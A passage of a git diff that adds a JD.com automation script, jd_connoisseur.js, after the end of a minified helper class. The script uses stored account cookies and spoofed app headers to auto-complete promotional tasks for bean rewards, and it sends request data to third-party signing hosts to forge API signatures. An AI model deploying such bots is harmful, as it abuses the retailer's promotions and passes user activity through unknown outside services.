e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_connoisseur.js b/jd_connoisseur.js new file mode 100644 index 0000000..1c913e4 --- /dev/null +++ b/jd_connoisseur.js @@ -0,0 +1,732 @@ +/* +内容鉴赏官 +更新时间:2021-09-09 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#内容鉴赏官 +15 3,6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, tag=内容鉴赏官, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "15 3,6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js,tag=内容鉴赏官 + +===============Surge================= +内容鉴赏官 = type=cron,cronexp="15 3,6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js + +============小火箭========= +内容鉴赏官 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, cronexpr="15 3,6 * * *", timeout=3600, enable=true + */ +const $ = new Env('内容鉴赏官'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let isLoginInfo = {} +$.shareCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +let agid = [], pageId, encodeActivityId, paginationFlrs, activityId +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // let res = await getAuthorShareCode('') + // if (!res) { + // $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + // await $.wait(1000) + // res = await getAuthorShareCode('') + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdConnoisseur() + } + } + // $.shareCodes = [...new Set([...$.shareCodes, ...(res || [])])] + // for (let i = 0; i < cookiesArr.length; i++) { + // if (cookiesArr[i]) { + // cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + // if (!isLoginInfo[$.UserName]) continue + // $.canHelp = true + // if ($.shareCodes && $.shareCodes.length) { + // console.log(`\n开始互助\n`) + // for (let j = 0; j < $.shareCodes.length && $.canHelp; j++) { + // console.log(`账号${$.UserName} 去助力 ${$.shareCodes[j].use} 的助力码 ${$.shareCodes[j].code}`) + // if ($.UserName === $.shareCodes[j].use) { + // console.log(`助力失败:不能助力自己`) + // continue + // } + // $.delcode = false + // await getTaskInfo("2", $.projectCode, $.taskCode, "2", $.shareCodes[j].code) + // await $.wait(2000) + // if ($.delcode) { + // $.shareCodes.splice(j, 1) + // j-- + // continue + // } + // } + // } else { + // break + // } + // } + // } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdConnoisseur() { + await getActiveInfo() + await $.wait(2000) + await getshareCode() +} + +async function getActiveInfo(url = 'https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html') { + let options = { + url, + headers: { + "Host": "prodev.m.jd.com", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + return new Promise(async resolve => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getActiveInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = data && data.match(/window\.performance.mark\(e\)}}\((.*)\);<\/script>/)[1] + data = JSON.parse(data) + pageId = data.activityInfo.pageId + encodeActivityId = data.activityInfo.encodeActivityId + paginationFlrs = data.paginationFlrs + activityId = data.activityInfo.activityId + for (let key of Object.keys(data.codeFloors)) { + let vo = data.codeFloors[key] + if (vo.boardParams && vo.boardParams.taskCode === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { + agid = [] + agid.push(vo.materialParams.advIdVideo[0].advGrpId) + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("11", vo.boardParams.projectCode, vo.boardParams.taskCode) + } else if (vo.boardParams && vo.boardParams.taskCode === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { + agid = [] + agid.push(vo.materialParams.advIdKOC[0].advGrpId) + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("10", vo.boardParams.projectCode, vo.boardParams.taskCode) + } else if (vo.boardParams && vo.boardParams.taskCode === "2PbAu1BAT79RxrM5V7c2VAPUQDSd") { + agid = [] + agid.push(vo.materialParams.advIdKOC[0].advGrpId) + agid.push(vo.materialParams.advIdVideo[0].advGrpId) + console.log(`去做【${vo.boardParams.btnText}】`) + await getTaskInfo("5", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && (vo.boardParams.taskCode === "485y3NEBCKGJg6L4brNg6PHhuM9d" || vo.boardParams.taskCode === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU")) { + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("9", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && (vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || vo.boardParams.taskCode === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa")) { + await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getTaskInfo(type, projectId, assignmentId, helpType = '1', itemId = '') { + let body = {"type":type,"projectId":projectId,"assignmentId":assignmentId,"doneHide":false} + if (assignmentId === $.taskCode) body['itemId'] = itemId, body['helpType'] = helpType + if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") body['agid'] = agid + return new Promise(async resolve => { + $.post(taskUrl('interactive_info', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getTaskInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + let num = 0; + for (let i = data.data[0].viewedNum; i < data.data[0].viewNum; i++) { + let vo = data.data[0].videoDtoPageResult.list[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 1) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + num = 0; + for (let i = data.data[0].evaluatedNum; i < data.data[0].evaluateNum; i++) { + let vo = data.data[0].videoDtoPageResult.list[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 2) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + let res = await aha_card_list(type, data.data[0].projectId, data.data[0].assignmentId) + let num = 0; + for (let i = data.data[0].watchAlreadyCount; i < data.data[0].watchTotalCount; i++) { + let vo = res.data.cardList[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 1) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + num = 0; + for (let i = data.data[0].likeAlreadyCount; i < data.data[0].likeTotalCount; i++) { + let vo = res.data.cardList[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 2) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" || assignmentId === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || assignmentId === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || assignmentId === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || assignmentId === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || assignmentId === "u4eyHS91t3fV6HRyBCg9k5NTUid" || assignmentId === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || assignmentId === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || assignmentId === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || assignmentId === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || assignmentId === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || assignmentId === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || assignmentId === "4UFHr2rSLyS912riDWih6B8gMXkf") { + if (assignmentId !== "2PbAu1BAT79RxrM5V7c2VAPUQDSd") console.log(`去做【${data.data[0].title}】`) + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + } else { + console.log(assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" ? `今日已签到` : `任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "485y3NEBCKGJg6L4brNg6PHhuM9d" || assignmentId === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU") { + if (data.code === "0" && data.data) { + if (data.data[0].status !== "2") { + await sign_interactive_done(type, data.data[0].projectId, data.data[0].assignmentId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y") { + if (data.code === "0" && data.data) { + console.log(`去做【${data.data[0].title}】`) + if (data.data[0].status !== "2") { + await interactive_accept(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + await qryViewkitCallbackResult(data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === $.taskCode) { + if (helpType === '1') { + if (data.code === "0" && data.data) { + if (data.data[0].status !== "2") { + console.log(`【京东账号${$.index}(${$.UserName})的内容鉴赏官好友互助码】${data.data[0].itemId}`) + $.shareCodes.push({ + 'use': $.UserName, + 'code': data.data[0].itemId + }) + } + } else { + console.log(data.message) + } + } else if (helpType === '2') { + if (data.code === "0" && data.data) { + if (data.data[0].code === "0") { + await interactive_done(type, $.projectCode, $.taskCode, itemId) + } else if (data.data[0].code === "103") { + $.canHelp = false + console.log(`助力失败:无助力次数`) + } else if (data.data[0].code === "102") { + console.log(`助力失败:${data.data[0].msg}`) + } else if (data.data[0].code === "106") { + $.delcode = true + console.log(`助力失败:您的好友已完成任务`) + } else { + console.log(JSON.stringify(data)) + } + } else { + console.log(data.message) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_done(type, projectId, assignmentId, itemId, actionType = '') { + let body = {"projectId":projectId,"assignmentId":assignmentId,"itemId":itemId,"type":type} + if (type === "5" || type === "2") body['agid'] = agid + if (type === "10" || type === "11") delete body["itemId"], body["actionType"] = actionType, body["contentId"] = itemId + return new Promise(resolve => { + $.post(taskUrl('interactive_done', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_done API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (type === "2") { + if (data.code === "0" && data.busiCode === "0") { + console.log(data.data.msg) + if (!data.data.success) $.canHelp = false + } else { + console.log(data.message) + } + } else { + if (data.code === "0" && data.busiCode === "0") { + if (type !== "10" && type !== "11") console.log(data.data.rewardMsg) + } else { + console.log(data.message) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function sign_interactive_done(type, projectId, assignmentId) { + let functionId = 'interactive_done' + let body = {"assignmentId":assignmentId,"type":type,"projectId":projectId} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sign_interactive_done API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_reward(type, projectId, assignmentId) { + return new Promise(resolve => { + $.post(taskUrl('interactive_reward', {"projectId":projectId,"assignmentId":assignmentId,"type":type}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_reward API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.code === "0" && data.busiCode === "0") { + console.log(data.data.rewardMsg) + } else { + console.log(data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_accept(type, projectId, assignmentId, itemId) { + return new Promise(resolve => { + $.post(taskUrl('interactive_accept', {"projectId":projectId,"assignmentId":assignmentId,"type":type,"itemId":itemId}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_accept API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function qryViewkitCallbackResult(encryptProjectId, encryptAssignmentId, itemId) { + let functionId = 'qryViewkitCallbackResult' + let body = {"dataSource":"babelInteractive","method":"customDoInteractiveAssignmentForBabel","reqParams":`{\"itemId\":\"${itemId}\",\"encryptProjectId\":\"${encryptProjectId}\",\"encryptAssignmentId\":\"${encryptAssignmentId}\"}`} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryViewkitCallbackResult API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.code === "0" || data.msg === "query success!") { + console.log(`恭喜获得2个京豆`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getshareCode() { + let sid = randomString(40) + let body = JSON.stringify({"activityId":encodeActivityId,"pageNum":"-1","innerAnchor":"","innerExtId":"","hideTopFoot":"","innerLinkBase64":"","innerIndex":"0","focus":"","forceTop":"","addressId":"4091160336","posLng":"","posLat":"","homeLng":"","homeLat":"","gps_area":"","headId":"","headArea":"","warehouseId":"","dcId":"","babelChannel":"ttt1","mitemAddrId":"","geo":{"lng":"","lat":""},"flt":"","jda":"168871293.1632069151379637759921.1632069151.1634449233.1634455108.187","topNavStyle":"","url":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"fullUrl":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"autoSkipEmptyPage":false,"paginationParam":"2","paginationFlrs":paginationFlrs,"transParam":`{\"bsessionId\":\"\",\"babelChannel\":\"ttt1\",\"actId\":\"${activityId}\",\"enActId\":\"${encodeActivityId}\",\"pageId\":\"${pageId}\",\"encryptCouponFlag\":\"1\",\"sc\":\"apple\",\"scv\":\"10.1.6\",\"requestChannel\":\"h5\",\"jdAtHomePage\":\"0\"}`,"siteClient":"apple","siteClientVersion":"10.1.6","matProExt":{"unpl":"V2_ZzNtbUEAR0B1CUBWeRkLVWIGF1pKX0IXIVpOUi8eWFJkBxpbclRCFnUURlVnGVgUZwMZWEtcRxBFCEZkexhdBmIKFFxGXnMlfQAoVDYZMgYJAF8QD2dAFUUJdlR8G1wBZwAXXENRRhFxCU9QextZBWQzIl1EZ3MldDhHZHopF2tmThJaQFdHFXYNR1V9HFgBZgoWXUBSQxZFCXZX|V2_ZzNtbRYEREB1X0VTfU5fAGIHEwhLUUZCfVgVAX0aCVJlVhUPclRCFnUURlVnGV0UZwYZXkVcRxdFCEJkexhdBW8KF1xGVnMlfGZFV38dXwFiBREzQlZCe0ULRmR6KVUBYgoSXEUHShJ2X0YDLx8PADQKFwhAB0MSIg4RAy5LCwBhARpcFwNzJXwJdlJ5EV0DYAEiCBwIFVAlUB0MK0YKWD8DIlxyVnMURV4oVHoYXQVmAxRcRBpKEXABRlV8SVUCZFQSChZREBAmAUMBeUlcAjAFRQoXBRQQcwpOVS5NbARXAw%3d%3d"},"userInterest":{"whiteNote":"0_0_0","payment":"0_0_0","plusNew":"0_0_0","plusRenew":"0_0_0"}}) + let options = { + url: `${JD_API_HOST}?client=wh5&clientVersion=1.0.0&functionId=qryH5BabelFloors`, + body: `body=${encodeURIComponent(body)}&screen=1242*2208&sid=${sid}&uuid=${randomString(40)}&area=&osVersion=15.0.1&d_model=iphone11,2`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://prodev.m.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + return new Promise(async resolve => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getshareCode API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + for (let key of Object.keys(data.floorList)) { + let vo = data.floorList[key] + if (vo.boardParams && (vo.boardParams.taskCode === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || vo.boardParams.taskCode === "u4eyHS91t3fV6HRyBCg9k5NTUid" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || vo.boardParams.taskCode === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || vo.boardParams.taskCode === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || vo.boardParams.taskCode === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || vo.boardParams.taskCode === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || vo.boardParams.taskCode === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || vo.boardParams.taskCode === "4UFHr2rSLyS912riDWih6B8gMXkf" || vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX")) { + await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && vo.boardParams.taskCode === "3PX8SPeYoQMgo1aJBZYVkeC7QzD3") { + $.projectCode = vo.boardParams.projectCode + $.taskCode = vo.boardParams.taskCode + } + } + // await getTaskInfo("2", $.projectCode, $.taskCode) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function aha_card_list(type, projectId, assignmentId) { + return new Promise(resolve => { + $.post(taskUrl('browse_aha_task/aha_card_list', {"type":type,"projectId":projectId,"assignmentId":assignmentId,"agid":agid,"firstStart":1}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} aha_card_list API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body) { + if (functionId === "interactive_info") { + body = `[${encodeURIComponent(JSON.stringify(body))}]` + } else { + body = encodeURIComponent(JSON.stringify(body)) + } + let function_Id; + if (functionId.indexOf("/") > -1) { + function_Id = functionId.split("/")[1] + } else { + function_Id = functionId + } + return { + url: `${JD_API_HOST}${functionId}?functionId=${function_Id}&appid=contenth5_common&body=${body}&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://prodev.m.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/", + "Cookie": cookie + } + } +} +function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${functionId}`, + body, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "j-e-c": "", + "Accept": "*/*", + "j-e-h": "", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1", + "User-Agent": "JD4iPhone/167841 (iPhone; iOS; Scale/3.00)", + "Referer": "", + "Cookie": cookie + } + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function 